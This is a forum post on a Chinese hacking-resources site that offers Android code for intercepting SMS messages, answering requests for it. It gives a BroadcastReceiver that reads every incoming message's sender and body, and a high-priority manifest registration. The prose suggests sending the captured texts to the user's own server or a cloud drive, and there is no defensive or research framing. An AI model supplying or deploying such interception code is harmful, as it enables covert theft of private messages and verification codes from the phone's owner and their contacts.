HK共享吧-致力打造中国最优秀的网络安全资源论坛

 找回密码
 立即注册
查看: 90|回复: 0

[『原创』] 最近看到很多要短信拦截,我贴个实现代码

[复制链接]
  • TA的每日心情
    开心
    2020-8-2 15:46
  • 签到天数: 83 天

    [LV.6]常住居民II

    4

    主题

    373

    帖子

    553

    积分

    终身高级VIP会员

    Rank: 10Rank: 10Rank: 10

    在线时间
    36 小时
    参与度
    563
    HK币
    710
    贡献
    0
    注册时间
    2013-9-21
    最后登录
    2020-8-2

    终身VIP会员

    发表于 2020-7-26 12:02:13 | 显示全部楼层 |阅读模式
    系统:android

    系统收到短信后,会有一个广播发送出来。广播里会通过 Intent 携带短信的所有信息。拦截短信的方法就是自己注册一个广播,拦截所有的短信。收到短信后通过 http 传输到自己的服务器,或者接入一些网盘的 sdk,传输到某个网盘都可以。

    第一步:
    创建一个广播


    1. public class SmsReceiver extends BroadcastReceiver {

    2.     @Override
    3.     public void onReceive(Context context, Intent intent) {
    4.         Bundle bundle = intent.getExtras();
    5.         Object[] objs = (Object[]) bundle.get("pdus");
    6.         for (Object obj : objs) {
    7.             SmsMessage sms = SmsMessage.createFromPdu((byte[]) obj);
    8. Log.i("短信拦截" + "短信联系人:" + sms.getOriginatingAddress());
    9. Log.i("短信拦截" + "短信内容:" + sms.getDisplayMessageBody());

    10.         }
    11.     }
    12. }
    复制代码
    第二步:
    把广播注册到清单文件中



    1. <receiver android:name="你的广播类文件的路径.SmsReceiver">
    2.     <intent-filter android:priority="1000">
    3.         <action android:name="android.provider.Telephony.SMS_RECEIVED" />
    4.     </intent-filter>
    5. </receiver>
    复制代码



    这样,只要你的 app 进程存活,那么当系统受到短信,就会被你的广播接收到。

    注:6.0 以上 android 系统请注意自己动态申请:android.permission.RECEIVE_SMS 权限。

    有不太清楚的也可以QQ群找我,或者加我 QQ : 425132748   昵称:文道






    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    加入VIP|Archiver|免责声明|版权声明|HK共享吧

    GMT+8, 2020-8-13 17:15 , Processed in 0.056262 second(s), 25 queries .

    Powered by Discuz! X3

    © 2001-2013 Comsenz Inc.

    快速回复 返回顶部 返回列表